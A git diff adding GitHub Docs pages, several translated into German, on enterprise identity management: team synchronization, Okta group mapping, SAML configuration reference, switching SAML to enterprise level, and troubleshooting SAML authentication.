+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/managing-team-synchronization-for-organizations-in-your-enterprise-account
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise
+shortTitle: Manage team synchronization
+---
+
+{% data reusables.enterprise-accounts.emu-scim-note %}
+
+## About team synchronization for enterprise accounts
+
+If you use SAML at the enterprise level with Azure AD as your IdP, you can enable team synchronization for your enterprise account to allow organization owners and team maintainers to synchronize teams in the organizations owned by your enterprise accounts with IdP groups.
+
+{% data reusables.identity-and-permissions.about-team-sync %}
+
+{% data reusables.identity-and-permissions.sync-team-with-idp-group %}
+
+{% data reusables.identity-and-permissions.team-sync-disable %}
+
+You can also configure and manage team synchronization for an individual organization. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
+
+{% data reusables.identity-and-permissions.team-sync-usage-limits %}
+
+## Prerequisites
+
+You or your Azure AD administrator must be a Global administrator or a Privileged Role administrator in Azure AD.
+ 
+You must enforce SAML single sign-on for organizations in your enterprise account with your supported IdP. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+
+You must authenticate to your enterprise account using SAML SSO and the supported IdP. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+
+## Managing team synchronization for Azure AD
+
+{% data reusables.identity-and-permissions.team-sync-azure-permissions %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.team-sync-confirm-saml %}
+{% data reusables.identity-and-permissions.enable-team-sync-azure %}
+{% data reusables.identity-and-permissions.team-sync-confirm %}
+7. Review the details for the IdP tenant you want to connect to your enterprise account, then click **Approve**.
+  ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
+8. To disable team synchronization, click **Disable team synchronization**.
+  ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md
new file mode 100644
index 0000000000..3539897b3a
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md
@@ -0,0 +1,105 @@
+---
+title: Zuordnen von Okta-Gruppen zu Teams
+shortTitle: Map Okta groups to teams
+intro: 'Du kannst deine Okta-Gruppen auf {% data variables.product.prodname_ghe_managed %} Teams zuordnen, um Teammitglieder automatisch hinzuzufügen und zu entfernen.'
+permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.prodname_ghe_managed %}.'
+versions:
+  ghae: '*'
+redirect_from:
+  - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams
+  - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+ms.openlocfilehash: 43185a1593892086064588ceb593a72b9d93ea3f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104864'
+---
+{% data reusables.saml.okta-ae-sso-beta %}
+
+## Informationen zur Teamzuordnung
+
+Wenn du Okta als IdP verwendest, kannst du deine Okta-Gruppe einem Team in {% data variables.product.prodname_ghe_managed %} zuordnen. Mitglieder der Okta-Gruppe werden dann automatisch Mitglieder des zugeordneten {% data variables.product.prodname_ghe_managed %}-Teams. Du kannst diese Zuordnung konfigurieren, indem du die Okta-App „GitHub AE“ dafür konfigurierst, die Gruppe und ihre Mitglieder zu {% data variables.product.prodname_ghe_managed %} zu verschieben. Anschließend kannst du auswählen, welches Team in {% data variables.product.prodname_ghe_managed %} der Okta-Gruppe zugeordnet wird.
+
+## Voraussetzungen
+
+Du oder dein*e Okta-Administrator*in müssen ein globaler Administrator oder ein Administrator mit privilegierter Rolle in Okta sein.
+ 
+Du musst SAML Single Sign-On mit Okta aktivieren. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
+
+Du musst dich mit SAML SSO und Okta bei deinem Unternehmenskonto authentifizieren. Weitere Informationen findest du unter [Authentifizieren mit einmaligem Anmelden mit SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on).
+
+## Zuweisen deiner Okta-Gruppe zu GitHub AE
+
+1. Öffne im Okta-Dashboard die Einstellungen deiner Gruppe.
+1. Klicke auf **Apps verwalten**.
+  ![Gruppe zur App hinzufügen](/assets/images/help/saml/okta-ae-group-add-app.png)
+
+1. Klicke rechts neben „GitHub AE“ auf **Zuweisen**.
+
+  ![App zuweisen](/assets/images/help/saml/okta-ae-assign-group-to-app.png)
+
+1. Klicken Sie auf **Fertig**.
+
+## Verschieben der Okta-Gruppe zu {% data variables.product.prodname_ghe_managed %}
+
+Wenn du eine Okta-Gruppe verschiebst und einem Team zuordnest, können sich alle Gruppenmitglieder bei {% data variables.product.prodname_ghe_managed %} anmelden.
+
+{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-ae-configure-app %}
+
+1. Klicke auf **Gruppen verschieben**.
+
+  ![Registerkarte „Gruppen verschieben“](/assets/images/help/saml/okta-ae-push-groups-tab.png)
+
+1. Suche das Dropdownmenü „Gruppen verschieben“, und klicke auf **Gruppen nach Namen suchen**.
+
+  ![Schaltfläche „Gruppen hinzufügen“](/assets/images/help/saml/okta-ae-push-groups-add.png)
+
+1. Gib den Namen der zu Gruppe ein, die zu {% data variables.product.prodname_ghe_managed %} verschoben werden soll, und klicke dann auf **Speichern**.
+
+  ![Gruppennamen hinzufügen](/assets/images/help/saml/okta-ae-push-groups-by-name.png)
+
+## Zuordnen eines Teams zur Okta-Gruppe
+
+Du kannst ein Team in deinem Unternehmen einer Okta-Gruppe zuordnen, die du zuvor zu {% data variables.product.prodname_ghe_managed %} verschoben hast. Mitglieder der Okta-Gruppe werden dann automatisch Mitglieder des {% data variables.product.prodname_ghe_managed %}-Teams. Alle nachfolgenden Änderungen an der Mitgliedschaft der Okta-Gruppe werden automatisch mit dem {% data variables.product.prodname_ghe_managed %}-Team synchronisiert.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %}
+6. Wähle unter „Identitätsanbietergruppe“ das Dropdownmenü aus, und klicke auf eine Identitätsanbietergruppe.
+    ![Dropdownmenü zur Auswahl von Identitätsanbietergruppen](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
+7. Klicke auf **Änderungen speichern**.
+
+## Überprüfen des Status der zugeordneten Teams
+
+Unternehmensbesitzer*innen können mithilfe des Dashboards für Websiteadministratoren überprüfen, wie Okta-Gruppen den Teams in {% data variables.product.prodname_ghe_managed %} zugeordnet sind.
+
+1. Klicke auf einer beliebigen Seite oben rechts auf {% octicon "rocket" aria-label="The rocket ship" %}, um auf das Dashboard zuzugreifen.
+  ![Raketensymbol für den Zugriff auf die Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+
+1. Klicke im linken Bereich auf **Externe Gruppen**.
+
+  ![Gruppennamen hinzufügen](/assets/images/help/saml/okta-ae-site-admin-external-groups.png)
+
+1. Klicke auf eine Gruppe in der Liste der externen Gruppen, um weitere Details zu dieser anzuzeigen.
+
+  ![Liste der externen Gruppen](/assets/images/help/saml/okta-ae-site-admin-list-groups.png)
+
+1. Zu den Gruppendetails zählen der Name der Okta-Gruppe, eine Liste der Okta-Benutzer, die Mitglieder der Gruppe sind, und das jeweils zugeordnete Team in {% data variables.product.prodname_ghe_managed %}. 
+
+  ![Liste der externen Gruppen](/assets/images/help/saml/okta-ae-site-admin-group-details.png)
+
+## Anzeigen von Überwachungsprotokollereignissen für zugeordnete Gruppen
+
+ Achte auf die folgenden Ereignisse im {% data variables.product.prodname_ghe_managed %}-Überwachungsprotokoll, um die SSO-Aktivität für zugeordnete Gruppen zu überwachen.
+
+{% data reusables.saml.external-group-audit-events %}
+
+{% data reusables.saml.external-identity-audit-events %}
+
+Weitere Informationen findest du unter [Überprüfen des Überwachungsprotokolls deiner Organisation](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization).
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md
new file mode 100644
index 0000000000..a7575e8ea9
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md
@@ -0,0 +1,150 @@
+---
+title: SAML configuration reference
+shortTitle: SAML reference
+intro: 'You can see SAML metadata for {% ifversion ghec %}your organization or enterprise on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}, and you can learn more about available SAML attributes and response requirements.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: reference
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+---
+
+## About SAML configuration
+
+To use SAML single sign-on (SSO) for authentication to {% data variables.product.product_name %}, you must configure both your external SAML identity provider (IdP) and {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghec %}your enterprise or organization on {% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}. In a SAML configuration, {% data variables.product.product_name %} functions as a SAML service provider (SP).
+
+You must enter unique values from your SAML IdP when configuring SAML SSO for {% data variables.product.product_name %}, and you must also enter unique values from {% data variables.product.product_name %} on your IdP. For more information about the configuration of SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise){% ifversion ghes or ghae %}{% elsif ghec %}" or "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization){% endif %}."
+
+## SAML metadata
+
+{% ifversion ghec %}
+
+The SP metadata for {% data variables.product.product_name %} is available for either organizations or enterprises with SAML SSO. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding.
+
+### Organizations
+
+You can configure SAML SSO for an individual organization in your enterprise. You can also configure SAML SSO for an organization if you use an individual organization on {% data variables.product.product_name %} and do not use an enterprise account. For more information, see "[Managing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization)."
+
+The SP metadata for an organization on {% data variables.location.product_location %} is available at `https://github.com/orgs/ORGANIZATION/saml/metadata`, where **ORGANIZATION** is the name of your organization on {% data variables.location.product_location %}.
+
+| Value | Other names | Description | Example |
+| :- | :- | :- | :- |
+| SP Entity ID | SP URL, audience restriction | The top-level URL for your organization on {% data variables.location.product_location %} | `https://github.com/orgs/ORGANIZATION` |
+| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/orgs/ORGANIZATION/saml/consume` |
+| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  `https://github.com/orgs/ORGANIZATION/saml/sso` |
+
+### Enterprises
+
+The SP metadata for an enterprise on {% data variables.location.product_location %} is available at `https://github.com/enterprises/ENTERPRISE/saml/metadata`, where **ENTERPRISE** is the name of your enterprise on {% data variables.location.product_location %}.
+
+| Value | Other names | Description | Example |
+| :- | :- | :- | :- |
+| SP Entity ID | SP URL, audience restriction | The top-level URL for your enterprise on {% data variables.location.product_location %} | `https://github.com/enterprises/ENTERPRISE` |
+| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/enterprises/ENTERPRISE/saml/consume` |
+| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  `https://github.com/enterprises/ENTERPRISE/saml/sso` |
+
+{% elsif ghes %}
+
+The SP metadata for {% data variables.location.product_location %} is available at `http(s)://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your instance. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding.
+
+| Value | Other names | Description | Example |
+| :- | :- | :- | :- |
+| SP Entity ID | SP URL, audience restriction | Your top-level URL for {% data variables.product.product_name %} | `http(s)://HOSTNAME`
+| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `http(s)://HOSTNAME/saml/consume` |
+| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  `http(s)://HOSTNAME/sso` |
+
+{% elsif ghae %}
+
+The SP metadata for your enterprise on {% data variables.product.product_name %} is available at `https://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your enterprise on {% data variables.product.product_name %}. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding.
+
+| Value | Other names | Description | Example |
+| :- | :- | :- | :- |
+| SP Entity ID | SP URL, audience restriction | Your top-level URL for {% data variables.product.product_name %} | `https://HOSTNAME` |
+| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://HOSTNAME/saml/consume` |
+| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  `https://HOSTNAME/sso` |
+
+{% endif %}
+
+## SAML attributes
+
+The following SAML attributes are available for {% data variables.product.product_name %}.{% ifversion ghes %} You can change the attribute names in the management console, with the exception of the `administrator` attribute. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."{% endif %}
+
+| Name | Required? | Description |
+| :- | :- | :- |
+| `NameID` | Yes | A persistent user identifier. Any persistent name identifier format may be used. {% ifversion ghec %}If you use an enterprise with {% data variables.product.prodname_emus %}, {% endif %}{% data variables.product.product_name %} will normalize the `NameID` element to use as a username unless one of the alternative assertions is provided. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."<br><br>{% note %}**Note:** It's important to use a human-readable, persistent identifier. Using a transient identifier format like `urn:oasis:names:tc:SAML:2.0:nameid-format:transient` will result in re-linking of accounts on every sign-in, which can be detrimental to authorization management.{% endnote %}  |
+| `SessionNotOnOrAfter` | No | The date that {% data variables.product.product_name %} invalidates the associated session. After invalidation, the person must authenticate once again to access {% ifversion ghec or ghae %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Session duration and timeout](#session-duration-and-timeout)." |
+{%- ifversion ghes or ghae %}
+| `administrator` | No | When the value is `true`, {% data variables.product.product_name %} will automatically promote the user to be a {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %}. Setting this attribute to anything but `true` will result in demotion, as long as the value is not blank. Omitting this attribute or leaving the value blank will not change the role of the user. |
+| `username` | No | The username for {% data variables.location.product_location %}. |
+{%- endif %}
+| `full_name` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} full name of the user to display on the user's profile page. |
+| `emails` | No | The email addresses for the user.{% ifversion ghes or ghae %} You can specify more than one address.{% endif %}{% ifversion ghec or ghes %} If you sync license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_github_connect %} uses `emails` to identify unique users across products. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %} |
+| `public_keys` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} public SSH keys for the user. You can specify more than one key. |
+| `gpg_keys` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} GPG keys for the user. You can specify more than one key. |
+
+To specify more than one value for an attribute, use multiple `<saml2:AttributeValue>` elements.
+
+```xml
+<saml2:Attribute FriendlyName="public_keys" Name="urn:oid:1.2.840.113549.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+    <saml2:AttributeValue>ssh-rsa LONG KEY</saml2:AttributeValue>
+    <saml2:AttributeValue>ssh-rsa LONG KEY 2</saml2:AttributeValue>
+</saml2:Attribute>
+```
+
+## SAML response requirements
+
+{% data variables.product.product_name %} requires that the response message from your IdP fulfill the following requirements.
+
+- Your IdP must provide the `<Destination>` element on the root response document and match the ACS URL only when the root response document is signed. If your IdP signs the assertion, {% data variables.product.product_name %} will ignore the assertion.
+- Your IdP must always provide the `<Audience>` element as part of the `<AudienceRestriction>` element. The value must match your `EntityId` for {% data variables.product.product_name %}.{% ifversion ghes or ghae %} This value is the URL where you access {% data variables.location.product_location %}, such as {% ifversion ghes %}`http(s)://HOSTNAME`{% elsif ghae %}`https://SUBDOMAIN.githubenterprise.com`, `https://SUBDOMAIN.github.us`, or `https://SUBDOMAIN.ghe.com`{% endif %}.{% endif %}
+  
+  {%- ifversion ghec %}
+  - If you configure SAML for an organization, this value is `https://github.com/orgs/ORGANIZATION`.
+  - If you configure SAML for an enterprise, this URL is `https://github.com/enterprises/ENTERPRISE`.
+  {%- endif %}
+- Your IdP must protect each assertion in the response with a digital signature. You can accomplish this by signing each individual `<Assertion>` element or by signing the `<Response>` element.
+- Your IdP must provide a `<NameID>` element as part of the `<Subject>` element. You may use any persistent name identifier format.
+- Your IdP must include the `Recipient` attribute, which must be set to the ACS URL. The following example demonstrates the attribute.
+
+     ```xml
+     <samlp:Response ...>
+       <saml:Assertion ...>
+         <saml:Subject>
+           <saml:NameID ...>...</saml:NameID>
+           <saml:SubjectConfirmation ...>
+             <saml:SubjectConfirmationData Recipient="https://{% ifversion ghec %}github.com/enterprises/ENTERPRISE{% elsif ghes %}HOSTNAME{% elsif ghae %}SUBDOMAIN.ghe.com{% endif %}/saml/consume" .../>
+           </saml:SubjectConfirmation>
+         </saml:Subject>
+         <saml:AttributeStatement>
+           <saml:Attribute FriendlyName="USERNAME-ATTRIBUTE" ...>
+             <saml:AttributeValue>monalisa</saml:AttributeValue>
+           </saml:Attribute>
+         </saml:AttributeStatement>
+       </saml:Assertion>
+     </samlp:Response>
+     ```
+
+## Session duration and timeout
+
+To prevent a person from authenticating with your IdP and staying authorized indefinitely, {% data variables.product.product_name %} periodically invalidates the session for each user account with access to {% ifversion ghec or ghae %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. After invalidation, the person must authenticate with your IdP once again. By default, if your IdP does not assert a value for the `SessionNotOnOrAfter` attribute, {% data variables.product.product_name %} invalidates a session {% ifversion ghec %}24 hours{% elsif ghes or ghae %}one week{% endif %} after successful authentication with your IdP.
+
+To customize the session duration, you may be able to define the value of the `SessionNotOnOrAfter` attribute on your IdP. If you define a value less than 24 hours, {% data variables.product.product_name %} may prompt people to authenticate every time {% data variables.product.product_name %} initiates a redirect.
+
+{% ifversion ghec %}
+To prevent authentication errors, we recommend a minimum session duration of 4 hours. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#users-are-repeatedly-redirected-to-authenticate)."
+{% endif %}
+
+{% note %}
+
+**Notes**:
+
+- For Azure AD, the configurable lifetime policy for SAML tokens does not control session timeout for {% data variables.product.product_name %}.
+- Okta does not currently send the `SessionNotOnOrAfter` attribute during SAML authentication with {% data variables.product.product_name %}. For more information, contact Okta.
+
+{% endnote %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
new file mode 100644
index 0000000000..cb1d25662b
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
@@ -0,0 +1,45 @@
+---
+title: Switching your SAML configuration from an organization to an enterprise account
+intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration.
+permissions: Enterprise owners can configure SAML single sign-on for an enterprise account.
+versions:
+  ghec: '*'
+topics:
+  - Authentication
+  - Enterprise
+  - Organizations
+type: how_to
+shortTitle: From organization to enterprise
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
+---
+
+## About SAML single sign-on for enterprise accounts
+
+{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %}
+
+{% data reusables.saml.switching-from-org-to-enterprise %} 
+
+When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. If you configure SAML SSO for your enterprise account instead, each enterprise member will have one SAML identity that is used for all organizations owned by the enterprise account.
+
+After you configure SAML SSO for your enterprise account, the new configuration will override any existing SAML SSO configurations for organizations owned by the enterprise account.
+
+Enterprise members will not be notified when an enterprise owner enables SAML for the enterprise account. If SAML SSO was previously enforced at the organization level, members should not see a major difference when navigating directly to organization resources. The members will continue to be prompted to authenticate via SAML. If members navigate to organization resources via their IdP dashboard, they will need to click the new tile for the enterprise-level app, instead of the old tile for the organization-level app. The members will then be able to choose the organization to navigate to. 
+
+Any {% data variables.product.pat_generic %}s, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were previously authorized for the organization will continue to be authorized for the organization. However, members will need to authorize any PATs, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were never authorized for use with SAML SSO for the organization.
+
+SCIM provisioning is not currently supported when SAML SSO is configured for an enterprise account. If you are currently using SCIM for an organization owned by your enterprise account, you will lose this functionality when switching to an enterprise-level configuration.
+
+You are not required to remove any organization-level SAML configurations before configuring SAML SSO for your enterprise account, but you may want to consider doing so. If SAML is ever disabled for the enterprise account in the future, any remaining organization-level SAML configurations will take effect. Removing the organization-level configurations can prevent unexpected issues in the future.
+
+## Switching your SAML configuration from an organization to an enterprise account
+
+1. Enforce SAML SSO for your enterprise account, making sure all organization members are assigned or given access to the IdP app being used for the enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+1. Optionally, remove any existing SAML configuration for organizations owned by the enterprise account. To help you decide whether to remove the configurations, see "[About SAML single sign-on for enterprise accounts](#about-saml-single-sign-on-for-enterprise-accounts)."
+1. If you kept any organization-level SAML configurations in place, to prevent confusion, consider hiding the tile for the organization-level apps in your IdP.
+1. Advise your enterprise members about the change.
+   -  Members will no longer be able to access their organizations by clicking the SAML app for the organization in the IdP dashboard. They will need to use the new app configured for the enterprise account.
+   - Members will need to authorize any PATs or SSH keys that were not previously authorized for use with SAML SSO for their organization. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+   - Members may need to reauthorize {% data variables.product.prodname_oauth_apps %} that were previously authorized for the organization. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md
new file mode 100644
index 0000000000..6d59cfb449
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md
@@ -0,0 +1,112 @@
+---
+title: SAML-Authentifizierung
+shortTitle: Troubleshoot SAML SSO
+intro: 'Wenn du SAML Single Sign-On (SSO) verwendest und sich Personen nicht authentifizieren können, um auf {% data variables.location.product_location %} zuzugreifen, kannst du das Problem behandeln.'
+versions:
+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - Security
+  - SSO
+  - Troubleshooting
+ms.openlocfilehash: d15a3686045a4d570feb60cade2320f939cc0d86
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107253'
+---
+{% ifversion ghes %}
+## Informationen zu Problemen bei der SAML-Authentifizierung
+
+{% data variables.product.product_name %} protokolliert Fehlermeldungen zu fehlgeschlagenen SAML-Authentifizierungen im Authentifizierungsprotokoll unter _/var/log/github/auth.log_. Du kannst Antworten in dieser Protokolldatei anzeigen und auch eine ausführlichere Protokollierung konfigurieren.
+
+Weitere Informationen zu SAML-Antwortanforderungen findest du auch unter [Referenz zur SAML-Konfiguration](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-response-requirements).
+
+## Konfigurieren von SAML-Debugging
+
+Du kannst {% data variables.product.product_name %} so konfigurieren, dass für jeden SAML-Authentifizierungsversuch ausführliche Debuggingprotokolle in _/var/log/github/auth.log_ geschrieben werden. Möglicherweise kannst du fehlgeschlagene Authentifizierungsversuche mit dieser zusätzlichen Ausgabe beheben.
+
+{% warning %}
+
+**Warnungen**:
+
+- Aktiviere SAML-Debugging nur vorübergehend, und deaktiviere das Debuggen unmittelbar nach Abschluss der Problembehandlung. Wenn du das Debuggen aktiviert lässt, erhöht sich die Größe des Protokolls möglicherweise viel schneller als üblich. Dies kann sich negativ auf die Leistung von {% data variables.product.product_name %} auswirken.
+- Teste neue Authentifizierungseinstellungen für {% data variables.location.product_location %} in einer Stagingumgebung, bevor du die Einstellungen in deiner Produktionsumgebung anwendest. Weitere Informationen findest du unter [Einrichten einer Staginginstanz](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance).
+
+{% endwarning %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %}
+1. Wähle unter „SAML debugging“ die Dropdownliste aus, und klicke auf **Enabled** (Aktiviert).
+
+   ![Screenshot der Dropdownliste zum Aktivieren des SAML-Debuggings](/assets/images/enterprise/site-admin-settings/site-admin-saml-debugging-enabled.png)
+
+1. Versuche, sich über den SAML-IdP bei {% data variables.location.product_location %} anzumelden.
+
+1. Überprüfe die Debugausgabe in _/var/log/github/auth.log_ in {% data variables.location.product_location %}.
+
+1. Wenn du mit der Problembehandlung fertig bist, wähle die Dropdownliste aus, und klicke auf **Disabled** (Deaktiviert).
+
+   ![Screenshot der Dropdownliste zum Deaktivieren des SAML-Debuggings](/assets/images/enterprise/site-admin-settings/site-admin-saml-debugging-disabled.png)
+
+## Decodieren von Antworten in _auth.log_
+
+Manche Ausgaben in _auth.log_ sind möglicherweise Base64-codiert. Du kannst auf die Verwaltungsshell zugreifen und das `base64`-Hilfsprogramm in {% data variables.location.product_location %} verwenden, um diese Antworten zu decodieren. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh).
+
+```shell
+$ base64 --decode ENCODED_OUTPUT
+```
+
+## Fehler: „Another user already owns the account“ (Ein anderer Benutzer besitzt das Konto bereits)
+
+Wenn sich ein Benutzer zum ersten Mal mit der SAML-Authentifizierung bei {% data variables.location.product_location %} anmeldet, wird von {% data variables.product.product_name %} ein Benutzerkonto in der Instanz erstellt. Außerdem wird die SAML-`NameID` dem Konto zugeordnet.
+
+Wenn sich der Benutzer erneut anmeldet, wird von {% data variables.product.prodname_ghe_server %} die `NameID`-Zuordnung des Kontos mit der Antwort des IdP verglichen. Wenn die `NameID` in der Antwort des IdP nicht mehr mit der `NameID` übereinstimmt, die von {% data variables.product.product_name %} für den*die Benutzer*in erwartet wird, schlägt die Anmeldung fehl. Dem Benutzer wird die folgende Meldung angezeigt:
+
+> Another user already owns the account (Ein anderer Benutzer besitzt das Konto bereits) Bitte den Administrator, das Authentifizierungsprotokoll zu überprüfen.
+
